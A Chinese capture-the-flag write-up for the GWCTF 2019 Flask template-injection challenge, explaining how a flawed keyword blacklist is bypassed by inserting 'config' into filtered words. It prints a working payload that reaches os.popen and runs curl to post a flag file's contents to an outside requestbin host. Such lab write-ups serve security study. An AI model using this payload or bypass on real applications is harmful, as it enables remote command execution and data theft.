• 刷题记录:[GWCTF 2019]你的名字


    题目复现链接:https://buuoj.cn/challenges

    flask SSTI

    {{被过滤,用{% if ... %}{% endif %}代替,用os.popen+curl来带出数据

    黑名单过滤逻辑错误

    blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
                     ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
                     'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
    for no in blacklist:
        while True:
            if no in s:
                s = s.replace(no, '')
            else:
                break
    return s
    

    这个逻辑是按顺序针对每个关键词过滤,只能应付双写绕过,还可以用列表的最后一项来绕过过滤

    {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl http://http.requconfigestbin.buuoj.cn/1inhq4f1 -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}
    

    注意buuoj的requestbin的url里面也有个request

  • 相关阅读:
    代理支持
    CGI
    SSI(服务器端嵌入)
    SSL/TLS 配置
    JSPs
    类加载机制
    JDBC 数据源
    安全管理
    Realm 配置
    Js将序列化成Json格式后日期(毫秒数)转成日期格式
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12308197.html
Copyright © 2020-2023  润新知